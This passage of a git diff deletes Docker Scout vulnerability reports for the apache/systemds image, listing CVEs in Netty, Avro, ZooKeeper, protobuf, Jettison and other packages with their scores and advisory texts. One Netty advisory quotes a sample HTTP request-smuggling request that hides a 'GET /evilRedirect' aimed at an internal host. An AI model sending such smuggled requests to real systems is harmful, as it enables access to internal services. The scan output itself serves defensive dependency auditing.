-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile68th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.014%
EPSS Percentile2nd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.017%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.020%
EPSS Percentile4th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
-low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference - - - - - - -
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
- -
Description -
- -### From the reporter - -> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. -> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit -> this vulnerability in order to achieve SSRF or cause a denial of service. -> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the -> WAR includes a malicious web.xml. - -### Impact -There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. - -Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. - -However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. - -### Patches -Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 - -### Workarounds -Don't use `XmlParser` to parse data from users. - - - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/zookeeper/sysds_output2.md b/docker/scout_results/zookeeper/sysds_output2.md deleted file mode 100644 index 699b1e22ec7..00000000000 --- a/docker/scout_results/zookeeper/sysds_output2.md +++ /dev/null @@ -1,2950 +0,0 @@ -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:9da076e93812ea6ae0ae83cb0e03e08f89297c7be5929e48b4c61349719cf40a
vulnerabilitiescritical: 4 high: 29 medium: 39 low: 9 unspecified: 1
platformlinux/amd64
size362 MB
packages350
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score4.167%
EPSS Percentile88th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.715%
EPSS Percentile72nd percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.302%
EPSS Percentile53rd percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.200%
EPSS Percentile42nd percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.022%
EPSS Percentile5th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score4.983%
EPSS Percentile89th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.961%
EPSS Percentile76th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score0.963%
EPSS Percentile76th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 1 high: 1 medium: 0 low: 0 org.apache.avro/avro 1.11.2 (maven) - -pkg:maven/org.apache.avro/avro@1.11.2
-critical 9.3: CVE--2024--47561 Deserialization of Untrusted Data - - - - - - - - -
Affected range<1.11.4
Fixed version1.11.4
CVSS Score9.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.489%
EPSS Percentile65th percentile
- -
Description -
- -Schema parsing in the Java SDK of Apache Avro 1.11.3 and previous versions allows bad actors to execute arbitrary code. -Users are recommended to upgrade to version 1.11.4 or 1.12.0, which fix this issue. - -
-
- -high 7.5: CVE--2023--39410 Improper Input Validation - - - - - - - - -
Affected range<1.11.3
Fixed version1.11.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.061%
EPSS Percentile19th percentile
- -
Description -
- -When deserializing untrusted or corrupted data, it is possible for a reader to consume memory beyond the allowed constraints and thus lead to out of memory on the system. - -This issue affects Java applications using Apache Avro Java SDK up to and including 1.11.2. Users should update to apache-avro version 1.11.3 which addresses this issue. - -
-
-
-
critical: 1 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.6.3 (maven) - -pkg:maven/org.apache.zookeeper/zookeeper@3.6.3
-critical 9.1: CVE--2023--44981 Authorization Bypass Through User-Controlled Key - - - - - - - - -
Affected range<3.7.2
Fixed version3.7.2
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score0.036%
EPSS Percentile11th percentile
- -
Description -
- -Authorization Bypass Through User-Controlled Key vulnerability in Apache ZooKeeper. If SASL Quorum Peer authentication is enabled in ZooKeeper (quorum.auth.enableSasl=true), the authorization is done by verifying that the instance part in SASL authentication ID is listed in zoo.cfg server list. The instance part in SASL auth ID is optional and if it's missing, like 'eve@EXAMPLE.COM', the authorization check will be skipped. As a result an arbitrary endpoint could join the cluster and begin propagating counterfeit changes to the leader, essentially giving it complete read-write access to the data tree. Quorum Peer authentication is not enabled by default. - -Users are recommended to upgrade to version 3.9.1, 3.8.3, 3.7.2, which fixes the issue. - -Alternately ensure the ensemble election/quorum communication is protected by a firewall as this will mitigate the issue. - -See the documentation for more details on correct cluster administration. - -
-
- -medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor - - - - - - - - -
Affected range>=3.6.0
<=3.7.2
Fixed versionNot Fixed
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- -Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. - -Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. - -
-
-
-
critical: 1 high: 0 medium: 0 low: 0 org.apache.kerby/kerb-admin 1.0.1 (maven) - -pkg:maven/org.apache.kerby/kerb-admin@1.0.1
-critical 9.8: CVE--2023--25613 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<2.0.3
Fixed version2.0.3
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.189%
EPSS Percentile41st percentile
- -
Description -
- -An LDAP Injection vulnerability exists in the LdapIdentityBackend of Apache Kerby before 2.0.3.  - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.055%
EPSS Percentile18th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile23rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile34th percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.104%
EPSS Percentile29th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) - -pkg:maven/org.codehaus.jettison/jettison@1.1
-high 7.5: CVE--2023--1436 Uncontrolled Recursion - - - - - - - - -
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- -An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. - -
-
- -high 7.5: CVE--2022--45693 Out-of-bounds Write - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.135%
EPSS Percentile34th percentile
- -
Description -
- -Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. - -
-
- -high 7.5: CVE--2022--45685 Out-of-bounds Write - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile34th percentile
- -
Description -
- -A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. - -
-
- -high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
